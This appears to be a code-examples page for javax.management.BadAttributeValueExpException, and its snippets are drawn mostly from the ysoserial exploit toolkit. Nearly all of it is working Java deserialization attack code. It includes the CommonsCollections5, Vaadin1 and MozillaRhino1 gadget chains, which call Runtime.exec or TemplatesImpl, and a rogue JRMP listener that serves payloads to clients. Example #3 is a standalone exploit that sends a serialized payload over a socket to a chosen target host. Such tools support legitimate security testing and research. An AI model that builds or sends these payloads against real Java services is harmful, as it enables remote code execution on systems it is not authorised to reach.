javax.management.BadAttributeValueExpException Java Examples

The following examples show how to use javax.management.BadAttributeValueExpException. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: JRMPReverseConnectTest.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public void run ( Callable<Object> payload ) throws Exception {
    JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
    Thread t = new Thread(l, "JRMP listener");
    try {
        t.start();
        try {
            payload.call();
        }
        catch ( Exception e ) {
            // ignore
        }
        Assert.assertTrue("Did not have connection", l.waitFor(1000));
    }
    finally {
        l.close();
        t.interrupt();
        t.join();
    }
}
Example #2
Source File: JRMPReverseConnectTest.java    From ysoserial with MIT License 6 votes vote down vote up 
public void run ( Callable<Object> payload ) throws Exception {
    JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
    Thread t = new Thread(l, "JRMP listener");
    try {
        t.start();
        try {
            payload.call();
        }
        catch ( Exception e ) {
            // ignore
        }
        Assert.assertTrue("Did not have connection", l.waitFor(1000));
    }
    finally {
        l.close();
        t.interrupt();
        t.join();
    }
}
Example #3
Source File: exp.java    From Java-Unserialization-Study with MIT License 5 votes vote down vote up 
public static void main(String[] args) throws Exception {

        String targetAddress = args[0];
        int targetPort = Integer.parseInt(args[1]);

        // Build Runtime payload
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);

        // Build a vulnerability map object
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

        // Build an exception to trigger our payload when unserialize
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        // send payload to target!
        // or write to file
        // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        // oos.writeObject(payload);
        Socket socket=new Socket(targetAddress, targetPort);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(exception);
        objectOutputStream.flush();
    }
Example #4
Source File: CommonsCollections5.java    From ysoserial-modified with MIT License 5 votes vote down vote up 
public BadAttributeValueExpException getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
		
		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
		valfield.setAccessible(true);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}
Example #5
Source File: CommonsCollections5.java    From ysoserial with MIT License 5 votes vote down vote up 
public BadAttributeValueExpException getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
	        new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

	BadAttributeValueExpException val = new BadAttributeValueExpException(null);
	Field valfield = val.getClass().getDeclaredField("val");
       Reflections.setAccessible(valfield);
	valfield.set(val, entry);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return val;
}
Example #6
Source File: Vaadin1.java    From ysoserial with MIT License 5 votes vote down vote up 
@Override
public Object getObject (String command) throws Exception
{
    Object templ = Gadgets.createTemplatesImpl (command);
    PropertysetItem pItem = new PropertysetItem ();        
    
    NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
    pItem.addItemProperty ("outputProperties", nmprop);
    
    BadAttributeValueExpException b = new BadAttributeValueExpException ("");
    Reflections.setFieldValue (b, "val", pItem);
    
    return b;
}
Example #7
Source File: JRMPListener.java    From ysoserial-modified with MIT License 4 votes vote down vote up 
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
            if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                return ObjID[].class;
            } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                return ObjID.class;
            } else if ( "java.rmi.server.UID".equals(desc.getName())) {
                return UID.class;
            }
            throw new IOException("Not allowed to read object");
        }
    };

    ObjID read;
    try {
        read = ObjID.read(ois);
    }
    catch ( java.io.IOException e ) {
        throw new MarshalException("unable to read objID", e);
    }

    
    if ( read.hashCode() == 2 ) {
        ois.readInt(); // method
        ois.readLong(); // hash
        System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
    }
    
    System.err.println("Sending return with payload for obj " + read);

    out.writeByte(TransportConstants.Return);// transport op
    ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

    oos.writeByte(TransportConstants.ExceptionalReturn);
    new UID().write(oos);

    BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(ex, "val", payload);
    oos.writeObject(ex);

    oos.flush();
    out.flush();

    this.hadConnection = true;
    synchronized ( this.waitLock ) {
        this.waitLock.notifyAll();
    }
}
Example #8
Source File: MozillaRhino1.java    From ysoserial-modified with MIT License 4 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        nativeErrorConstructor.setAccessible(true);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        Context context = Context.enter();

        NativeObject scriptableObject = (NativeObject) context.initStandardObjects();

        Method enterMethod = Context.class.getDeclaredMethod("enter");
        NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
        idScriptableObject.setGetterOrSetter("name", 0, method, false);

        Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
        NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
        idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);

        Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
        getSlot.setAccessible(true);
        Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
        Field getter = slot.getClass().getDeclaredField("getter");
        getter.setAccessible(true);

        Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
        Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
        memberboxClassConstructor.setAccessible(true);
        Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
        getter.set(slot, memberboxes);

        NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(cmdHelper.getCommandArray()), TemplatesImpl.class);
        idScriptableObject.setPrototype(nativeObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, idScriptableObject);

        return badAttributeValueExpException;
    }
Example #9
Source File: JRMPListener.java    From ysoserial with MIT License 4 votes vote down vote up 
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
            if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                return ObjID[].class;
            } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                return ObjID.class;
            } else if ( "java.rmi.server.UID".equals(desc.getName())) {
                return UID.class;
            }
            throw new IOException("Not allowed to read object");
        }
    };

    ObjID read;
    try {
        read = ObjID.read(ois);
    }
    catch ( java.io.IOException e ) {
        throw new MarshalException("unable to read objID", e);
    }


    if ( read.hashCode() == 2 ) {
        ois.readInt(); // method
        ois.readLong(); // hash
        System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
    }

    System.err.println("Sending return with payload for obj " + read);

    out.writeByte(TransportConstants.Return);// transport op
    ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

    oos.writeByte(TransportConstants.ExceptionalReturn);
    new UID().write(oos);

    BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(ex, "val", payload);
    oos.writeObject(ex);

    oos.flush();
    out.flush();

    this.hadConnection = true;
    synchronized ( this.waitLock ) {
        this.waitLock.notifyAll();
    }
}
Example #10
Source File: MozillaRhino1.java    From ysoserial with MIT License 4 votes vote down vote up 
public Object getObject(final String command) throws Exception {

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        Reflections.setAccessible(nativeErrorConstructor);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        Context context = Context.enter();

        NativeObject scriptableObject = (NativeObject) context.initStandardObjects();

        Method enterMethod = Context.class.getDeclaredMethod("enter");
        NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
        idScriptableObject.setGetterOrSetter("name", 0, method, false);

        Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
        NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
        idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);

        Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
        Reflections.setAccessible(getSlot);
        Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
        Field getter = slot.getClass().getDeclaredField("getter");
        Reflections.setAccessible(getter);

        Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
        Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
        Reflections.setAccessible(memberboxClassConstructor);
        Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
        getter.set(slot, memberboxes);

        NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
        idScriptableObject.setPrototype(nativeObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        Reflections.setAccessible(valField);
        valField.set(badAttributeValueExpException, idScriptableObject);

        return badAttributeValueExpException;
    }